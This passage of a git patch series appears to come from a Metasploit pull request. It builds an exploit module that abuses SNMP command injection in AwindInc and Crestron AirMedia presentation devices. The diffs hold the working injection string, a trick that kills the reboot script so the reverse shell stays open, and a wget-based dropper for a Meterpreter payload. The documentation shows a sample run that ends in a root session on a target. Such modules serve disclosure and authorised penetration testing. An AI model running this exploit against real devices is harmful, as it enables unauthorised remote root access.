b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 431eca223b05..5a4fc5adb285 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -151,10 +151,10 @@ def exploit # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and # keep our reverse shell opened :) - cmd += "$(pkill -f /etc/reboot.sh)" + cmd << "$(pkill -f /etc/reboot.sh)" # the MIB states that camFWUpgradeFTPURL must be 255 bytes long so we pad - cmd += "A" * (255-cmd.length) + cmd << "A" * (255-cmd.length) # we inject our payload in camFWUpgradeFTPURL print_status("Injecting payload") From fbaebc14be3d0dff23cf1ef5d1a6bb4feeecd028 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 10:45:17 +0100 Subject: [PATCH 06/15] Shrink to oneliner. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 5a4fc5adb285..a94122b06a66 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -72,9 +72,7 @@ def check sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s print_status("Target system is #{sys_description}") # AM-100 and AM-101 considered EOL, no fix so no need to check version. - if sys_description.include? "Crestron Electronics AM-100" or sys.description.include? "Crestron Electronics AM-101" - return Exploit::CheckCode::Vulnerable - end + return Exploit::CheckCode::Vulnerable if sys_description.include? "Crestron Electronics AM-100" or sys.description.include? "Crestron Electronics AM-101" # TODO: insert description check for other vulnerable models (that I don't have) # In the meantime, we return 'unknown'. rescue SNMP::RequestTimeout From 7794cc02348b6e07a95b63e937b744be1e273603 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 10:48:38 +0100 Subject: [PATCH 07/15] No need for parenthesis. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index a94122b06a66..8bb51cc73e57 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -161,6 +161,6 @@ def exploit # we trigger the firmware download via FTP, which will end up calling this # "/bin/getRemoteURL.sh %s %s %s %d" print_status("Triggering call") - trigger() + trigger end end From 1a564a6f70b66cce7c08e5c7b68525775fb6b7b0 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 10:49:10 +0100 Subject: [PATCH 08/15] Uppercase words. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 8bb51cc73e57..ce1e9c666b21 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -13,7 +13,7 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "AwindInc SNMP service command injection", + 'Name' => "AwindInc SNMP Service Command Injection", 'Description' => %q{ This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection. A valid SNMP read-write community is required to exploit this vulnerability. From a9fcd13257c173d30273fb9d0bbede8e2d4e8494 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 10:53:07 +0100 Subject: [PATCH 09/15] Removed unnecessary includes. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index ce1e9c666b21..9b6bfa7ca63e 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -3,9 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'openssl' -require 'base64' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking From cbcc2f2088420f93b7f773544ad6797ebf382f1f Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 11:03:01 +0100 Subject: [PATCH 10/15] Moved to Cmdstager. --- .../exploits/linux/snmp/awind_snmp_exec.rb | 25 +++++++------------ 1 file changed, 9 insertions(+), 16 deletions(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 9b6bfa7ca63e..7102f005a14b 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SNMPClient + include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, @@ -36,23 +37,11 @@ def initialize(info={}) ['URL', 'https://github.com/QKaiser/awind-research'], ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/'] ], - 'Platform' => 'unix', + 'Platform' => 'linux', 'Targets' => [ [ 'Universal', {} ] ], + 'CmdStagerFlavor' => %w[wget], 'Privileged' => true, - 'DefaultOptions' => - { - 'SSL' => false, - 'PAYLOAD' => 'cmd/unix/reverse_openssl' - }, - 'Arch' => [ ARCH_CMD ], - 'Payload' => - { - 'Compat' => - { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'openssl' - } - }, + 'Arch' => [ ARCH_ARMLE ], 'DisclosureDate' => "Mar 27 2019", 'DefaultTarget' => 0)) @@ -139,9 +128,13 @@ def trigger end def exploit + execute_cmdstager + end + + def execute_command(cmd, opts = {}) # The payload must start with a valid FTP URI otherwise the injection point is not reached - cmd = "ftp://1.1.1.1/$(#{payload.encoded})" + cmd = "ftp://1.1.1.1/$(#{cmd.to_s})" # When the FTP download fails, the script calls /etc/reboot.sh and we loose the callback # We therefore kill /etc/reboot.sh before it reaches /sbin/reboot with that command and From 92e4393025b288c61e504c495be560bbcc0cc18a Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 11:09:39 +0100 Subject: [PATCH 11/15] Update documentation to reflect usage of CmdStager. --- .../exploit/linux/snmp/awind_snmp_exec.md | 60 ++++++++++--------- 1 file changed, 32 insertions(+), 28 deletions(-) diff --git a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md index 5a618b9d51a8..f856f526fefb 100644 --- a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md +++ b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md @@ -1,6 +1,6 @@ ## Description -This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to ftpfw.sh system command, leading to command injection. +This module exploits a vulnerability found in AwindInc and OEM'ed products where untrusted inputs are fed to `ftpfw.sh` system command, leading to command injection. Note: a valid SNMP read-write community is required to exploit this vulnerability. @@ -16,20 +16,25 @@ The following devices are known to be affected by this issue: * Newline Trucast 2 <= version 2.1.0.5 * Newline Trucast 3 <= version 2.1.3.7 +Other devices might be affected by the same issue but lack of access to firmware forbids me from confirming that. See https://github.com/QKaiser/awind-research for full list of similar devices. -## Verification Steps +## Verification steps - 1. Start `msfconsole` - 2. Do: `use exploit/linux/snmp/awind_snmp_exec` - 3. Do: `set RHOST [IP]` - 4. Do: `set LHOST [IP]` - 5. Do: `run` - 6. You should get a session +1. Start `msfconsole` +2. Do: `use exploit/linux/snmp/awind_snmp_exec` +3. Do: `set payload linux/armle/meterpreter/reverse_tcp` +4. Do: `set RHOST [IP]` +5. Do: `set LHOST [IP]` +6. Do: `run` -## Scenarios +You should get a session. -``` +## Sample run + +`` msf5 > use exploit/linux/snmp/awind_snmp_exec +msf5 exploit(linux/snmp/awind_snmp_exec) > set payload linux/armle/meterpreter/reverse_tcp +payload => linux/armle/meterpreter/reverse_tcp msf5 exploit(linux/snmp/awind_snmp_exec) > set RHOSTS 192.168.100.2 RHOSTS => 192.168.100.2 msf5 exploit(linux/snmp/awind_snmp_exec) > set LHOST 192.168.100.1 @@ -40,28 +45,27 @@ msf5 exploit(linux/snmp/awind_snmp_exec) > check [+] 192.168.100.2:161 The target is vulnerable. msf5 exploit(linux/snmp/awind_snmp_exec) > run -[*] Started reverse double SSL handler on 192.168.100.1:4444 +[*] Started reverse TCP handler on 192.168.100.1:4444 +[*] Using URL: http://0.0.0.0:8080/u70HALC +[*] Local IP: http://192.168.1.10:8080/u70HALC [*] Injecting payload [*] Injection successful [*] Triggering call [*] Trigger successful -[*] Accepted the first client connection... -[*] Accepted the second client connection... -[*] Command: echo LFNuuQAgrHrq1aq6; -[*] Writing to socket A -[*] Writing to socket B -[*] Reading from sockets... -[*] Reading from socket B -[*] B: "LFNuuQAgrHrq1aq6\n" -[*] Matching... -[*] A is input... -[*] Command shell session 1 opened (192.168.100.1:4444 -> 192.168.100.2:35189) at 2019-03-27 14:09:54 +0100 - -id -uid=0(root) gid=0(root) -uname -avr -Linux Crestron.AirMedia-1.1.wm8750 2.6.32.9-default #7 Thu Apr 2 16:50:50 CST 2015 armv6l GNU/Linux -``` +[*] Client 192.168.100.2 (Wget) requested /u70HALC +[*] Sending payload to 192.168.100.2 (Wget) +[*] Sending stage (806872 bytes) to 192.168.100.2 +[*] Command Stager progress - 100.00% done (113/113 bytes) +[*] Meterpreter session 2 opened (192.168.100.1:4444 -> 192.168.100.2:38009) at 2019-03-28 11:01:41 +0100 +[*] Server stopped. + +meterpreter > sysinfo +Computer : Crestron.AirMedia-1.1.wm8750 +OS : (Linux 2.6.32.9-default) +Architecture : armv6l +BuildTuple : armv5l-linux-musleabi +Meterpreter : armle/linux +`` ## References From 8ec5a124b4e023deb051049dedc8dba366b7bccc Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 15:59:22 +0100 Subject: [PATCH 12/15] Follow @bcoles recommendations for 'check' function. --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index 7102f005a14b..d629ae983a3b 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -58,9 +58,15 @@ def check sys_description = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s print_status("Target system is #{sys_description}") # AM-100 and AM-101 considered EOL, no fix so no need to check version. - return Exploit::CheckCode::Vulnerable if sys_description.include? "Crestron Electronics AM-100" or sys.description.include? "Crestron Electronics AM-101" - # TODO: insert description check for other vulnerable models (that I don't have) - # In the meantime, we return 'unknown'. + model = sys_description.scan(/Crestron Electronics (AM-100|AM-101)/).flatten.first + case model + when 'AM-100', 'AM-101' + return CheckCode::Vulnerable + else + # TODO: insert description check for other vulnerable models (that I don't have) + # In the meantime, we return 'safe'. + return CheckCode::Safe + end rescue SNMP::RequestTimeout print_error("#{ip} SNMP request timeout.") rescue Rex::ConnectionError From e2101c79316a6f99a9b20714c02d13d13b5e0f1b Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Thu, 28 Mar 2019 19:50:26 +0100 Subject: [PATCH 13/15] Fix module so it supports both ARCH_CMD and ARCH_ARMLE. --- .../exploits/linux/snmp/awind_snmp_exec.rb | 34 +++++++++++++++---- 1 file changed, 27 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index d629ae983a3b..dc8f3876885e 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -37,13 +37,28 @@ def initialize(info={}) ['URL', 'https://github.com/QKaiser/awind-research'], ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/'] ], - 'Platform' => 'linux', - 'Targets' => [ [ 'Universal', {} ] ], - 'CmdStagerFlavor' => %w[wget], - 'Privileged' => true, - 'Arch' => [ ARCH_ARMLE ], 'DisclosureDate' => "Mar 27 2019", - 'DefaultTarget' => 0)) + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_ARMLE], + 'Privileged' => true, + 'Targets' => [ + ['Unix In-Memory', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { + 'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'openssl'} + } + ], + ['Linux Dropper', + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'CmdStagerFlavor' => %w[wget], + 'Type' => :linux_dropper + ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => {'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'})) register_options( [ @@ -134,7 +149,12 @@ def trigger end def exploit - execute_cmdstager + case target['Type'] + when :unix_memory + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end end def execute_command(cmd, opts = {}) From 5ca41637652fef62ded9b88c625b156a083109e3 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 25 Jun 2019 20:50:09 +0200 Subject: [PATCH 14/15] Fix documentation markup and titles. --- documentation/modules/exploit/linux/snmp/awind_snmp_exec.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md index f856f526fefb..ac2c0bee5a1b 100644 --- a/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md +++ b/documentation/modules/exploit/linux/snmp/awind_snmp_exec.md @@ -29,9 +29,9 @@ Other devices might be affected by the same issue but lack of access to firmware You should get a session. -## Sample run +## Scenarios -`` +``` msf5 > use exploit/linux/snmp/awind_snmp_exec msf5 exploit(linux/snmp/awind_snmp_exec) > set payload linux/armle/meterpreter/reverse_tcp payload => linux/armle/meterpreter/reverse_tcp @@ -65,7 +65,7 @@ OS : (Linux 2.6.32.9-default) Architecture : armv6l BuildTuple : armv5l-linux-musleabi Meterpreter : armle/linux -`` +``` ## References From 94dd2b1800b5ca1a2b6e0c7319ef35d9bf694663 Mon Sep 17 00:00:00 2001 From: Quentin Kaiser Date: Tue, 25 Jun 2019 20:50:56 +0200 Subject: [PATCH 15/15] Fix disclosure date format. Co-Authored-By: @shellfail --- modules/exploits/linux/snmp/awind_snmp_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/snmp/awind_snmp_exec.rb b/modules/exploits/linux/snmp/awind_snmp_exec.rb index dc8f3876885e..6e77f32f84cc 100644 --- a/modules/exploits/linux/snmp/awind_snmp_exec.rb +++ b/modules/exploits/linux/snmp/awind_snmp_exec.rb @@ -37,7 +37,7 @@ def initialize(info={}) ['URL', 'https://github.com/QKaiser/awind-research'], ['URL', 'https://qkaiser.github.io/pentesting/2019/03/27/awind-device-vrd/'] ], - 'DisclosureDate' => "Mar 27 2019", + 'DisclosureDate' => '2019-03-27', 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_ARMLE], 'Privileged' => true,